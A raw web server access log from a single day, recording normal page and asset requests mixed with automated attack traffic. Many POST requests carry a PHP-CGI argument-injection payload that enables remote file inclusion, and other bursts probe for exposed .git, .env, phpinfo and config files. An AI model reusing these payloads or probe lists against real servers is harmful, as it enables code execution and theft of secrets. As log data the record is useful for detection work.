[27/Nov/2024:06:12:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:06:12:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:06:14:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:06:32:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:06:32:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:06:33:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:06:53:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:06:53:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:06:53:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:06:53:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[27/Nov/2024:06:53:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:06:54:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:07:08:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/samples/toolbarconfigurator/font/fontello.svg HTTP/1.1" 1701
[27/Nov/2024:07:27:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[27/Nov/2024:07:33:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:07:38:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/result.txt HTTP/1.1" 528
[27/Nov/2024:07:38:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[27/Nov/2024:07:49:13 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:07:49:14 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:07:49:15 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:07:53:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:07:53:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:07:53:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/2f3.png HTTP/1.1" 108761
[27/Nov/2024:07:54:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:08:13:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:08:26:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/%E8%87%AA%E8%B2%BB%E5%83%B9%E6%A0%BC%E8%A1%A8.pdf HTTP/1.1" -
[27/Nov/2024:08:33:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:08:54:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:09:11:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:09:13:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dns-query?dns=ovMBAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" 300
[27/Nov/2024:09:13:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /dns-query HTTP/1.1" 300
[27/Nov/2024:09:13:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dns-query?name=example.com&type=A HTTP/1.1" 300
[27/Nov/2024:09:13:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dns-query?dns=P2ABAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" 300
[27/Nov/2024:09:14:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /dns-query HTTP/1.1" 300
[27/Nov/2024:09:14:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dns-query?name=example.com&type=A HTTP/1.1" 300
[27/Nov/2024:09:14:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /query?dns=wY4BAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" 300
[27/Nov/2024:09:14:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /query HTTP/1.1" 300
[27/Nov/2024:09:14:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /query?name=example.com&type=A HTTP/1.1" 300
[27/Nov/2024:09:14:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /query?dns=HMwBAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" 300
[27/Nov/2024:09:14:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /query HTTP/1.1" 300
[27/Nov/2024:09:14:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /query?name=example.com&type=A HTTP/1.1" 300
[27/Nov/2024:09:14:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /resolve?dns=QZYBAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" 300
[27/Nov/2024:09:14:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /resolve HTTP/1.1" 300
[27/Nov/2024:09:14:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /resolve?name=example.com&type=A HTTP/1.1" 300
[27/Nov/2024:09:14:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /resolve?dns=5BsBAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" 300
[27/Nov/2024:09:14:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /resolve HTTP/1.1" 300
[27/Nov/2024:09:14:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /resolve?name=example.com&type=A HTTP/1.1" 300
[27/Nov/2024:09:14:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /?dns=GksBAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" -
[27/Nov/2024:09:14:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST / HTTP/1.1" -
[27/Nov/2024:09:14:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /?name=example.com&type=A HTTP/1.1" -
[27/Nov/2024:09:14:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /?dns=GOMBAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" -
[27/Nov/2024:09:14:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:09:14:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST / HTTP/1.1" -
[27/Nov/2024:09:14:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /?name=example.com&type=A HTTP/1.1" -
[27/Nov/2024:09:14:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:09:14:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:09:14:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/tree_icons.png HTTP/1.1" 3086
[27/Nov/2024:09:19:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:09:19:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:09:19:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:09:32:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[27/Nov/2024:09:33:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:09:33:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:09:44:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/loading.gif HTTP/1.1" 1737
[27/Nov/2024:09:48:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[27/Nov/2024:09:48:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /server/.git/config HTTP/1.1" 300
[27/Nov/2024:09:48:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /src/.git/config HTTP/1.1" 300
[27/Nov/2024:09:48:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dev/.git/config HTTP/1.1" 300
[27/Nov/2024:09:48:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.old HTTP/1.1" 300
[27/Nov/2024:09:48:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.prod.local HTTP/1.1" 300
[27/Nov/2024:09:54:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:10:07:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:10:07:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:10:07:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/transfer-files-ftp.html HTTP/1.1" 305
[27/Nov/2024:10:08:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/503906872.jpg HTTP/1.1" 6
[27/Nov/2024:10:14:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/copyformatting/cursors/cursor-disabled.svg HTTP/1.1" 4012
[27/Nov/2024:10:29:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /php.php HTTP/1.1" 305
[27/Nov/2024:10:29:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /manifest.json HTTP/1.1" 305
[27/Nov/2024:10:29:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /settings.json HTTP/1.1" 305
[27/Nov/2024:10:29:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpinfo.php HTTP/1.1" 305
[27/Nov/2024:10:29:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /info HTTP/1.1" 305
[27/Nov/2024:10:29:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpinfo HTTP/1.1" 305
[27/Nov/2024:10:29:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /appsettings.json HTTP/1.1" 305
[27/Nov/2024:10:29:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /test HTTP/1.1" 305
[27/Nov/2024:10:29:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/php.ini HTTP/1.1" 305
[27/Nov/2024:10:29:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.js HTTP/1.1" 305
[27/Nov/2024:10:29:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /test1.php HTTP/1.1" 305
[27/Nov/2024:10:29:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /app_dev.php/_profiler/phpinfo HTTP/1.1" 305
[27/Nov/2024:10:29:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/config HTTP/1.1" 305
[27/Nov/2024:10:29:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /index.php/phpinfo HTTP/1.1" -
[27/Nov/2024:10:29:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /debug/default HTTP/1.1" 305
[27/Nov/2024:10:29:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /test.php HTTP/1.1" 305
[27/Nov/2024:10:29:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /_profiler/phpinfo HTTP/1.1" 305
[27/Nov/2024:10:29:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /php_info.php HTTP/1.1" 305
[27/Nov/2024:10:29:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dev/phpinfo.php HTTP/1.1" 305
[27/Nov/2024:10:29:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.php HTTP/1.1" 305
[27/Nov/2024:10:29:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /info.php HTTP/1.1" 305
[27/Nov/2024:10:29:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/application.yml HTTP/1.1" 305
[27/Nov/2024:10:29:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /main.js HTTP/1.1" 305
[27/Nov/2024:10:29:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /server.js HTTP/1.1" 305
[27/Nov/2024:10:29:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /staticfiles HTTP/1.1" 305
[27/Nov/2024:10:29:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.json HTTP/1.1" 305
[27/Nov/2024:10:29:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /src/main/resources/appsettings.yml HTTP/1.1" -
[27/Nov/2024:10:29:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config HTTP/1.1" 305
[27/Nov/2024:10:29:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /static/.gitlab-ci.yml HTTP/1.1" 305
[27/Nov/2024:10:29:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/config.ini HTTP/1.1" 305
[27/Nov/2024:10:29:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wp-config.php HTTP/1.1" 305
[27/Nov/2024:10:29:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /index.php HTTP/1.1" -
[27/Nov/2024:10:29:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/development.json HTTP/1.1" 305
[27/Nov/2024:10:29:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.properties HTTP/1.1" 305
[27/Nov/2024:10:29:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /frontend_dev.php/$ HTTP/1.1" 305
[27/Nov/2024:10:29:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /app.js HTTP/1.1" 305
[27/Nov/2024:10:29:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /README.md HTTP/1.1" 305
[27/Nov/2024:10:29:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/test HTTP/1.1" 305
[27/Nov/2024:10:29:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /login/index.php HTTP/1.1" 305
[27/Nov/2024:10:29:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:10:29:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST / HTTP/1.1" -
[27/Nov/2024:10:33:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:10:38:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "-" -
[27/Nov/2024:10:44:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:10:44:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:10:44:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/accordion_arrows.png HTTP/1.1" 184
[27/Nov/2024:10:48:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /find.php/%E5%A6%82%E4%BD%95%E9%80%B2%E8%A1%8C%E7%9B%B8%E5%B0%8D%E5%BC%B7%E5%BC%B1%E5%88%86%E6%9E%90-osdrghmzlbnafjiyecteqzj-2 HTTP/1.1" -
[27/Nov/2024:10:49:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:10:49:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-4.jpg HTTP/1.1" 17733
[27/Nov/2024:10:50:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/send-mail.html HTTP/1.1" 305
[27/Nov/2024:10:54:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:11:02:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/test/uploads/banner.png HTTP/1.1" 468281
[27/Nov/2024:11:08:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/tree_icons.png HTTP/1.1" 3115
[27/Nov/2024:11:12:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/tabs_icons.png HTTP/1.1" 150
[27/Nov/2024:11:14:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:11:15:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/panel_tools.png HTTP/1.1" 194
[27/Nov/2024:11:19:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/validatebox_warning.png HTTP/1.1" 921
[27/Nov/2024:11:20:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/lock-open.png HTTP/1.1" 511
[27/Nov/2024:11:23:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/slider_handle.png HTTP/1.1" 863
[27/Nov/2024:11:23:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:11:23:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:11:23:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:11:23:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[27/Nov/2024:11:23:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:11:29:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/datebox_arrow.png HTTP/1.1" 626
[27/Nov/2024:11:33:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:11:36:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/about/dialogs/logo_ckeditor.png HTTP/1.1" 6757
[27/Nov/2024:11:37:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[27/Nov/2024:11:38:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/1f1.jpg HTTP/1.1" 35166
[27/Nov/2024:11:40:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:11:40:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:11:40:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[27/Nov/2024:11:40:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dept/dept1.php HTTP/1.1" 305
[27/Nov/2024:11:40:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /timetable.htm HTTP/1.1" 305
[27/Nov/2024:11:44:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/validatebox_warning.png HTTP/1.1" 921
[27/Nov/2024:11:51:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/loading.gif HTTP/1.1" 1737
[27/Nov/2024:11:51:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[27/Nov/2024:11:51:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:11:54:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:11:56:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h4.png HTTP/1.1" 123
[27/Nov/2024:11:59:06 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[27/Nov/2024:12:13:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[27/Nov/2024:12:14:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[27/Nov/2024:12:14:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[27/Nov/2024:12:16:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/messager_icons.png HTTP/1.1" 6116
[27/Nov/2024:12:17:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /php.php HTTP/1.1" 300
[27/Nov/2024:12:17:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /manifest.json HTTP/1.1" 300
[27/Nov/2024:12:17:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /settings.json HTTP/1.1" 300
[27/Nov/2024:12:17:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpinfo.php HTTP/1.1" 300
[27/Nov/2024:12:17:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /info HTTP/1.1" 300
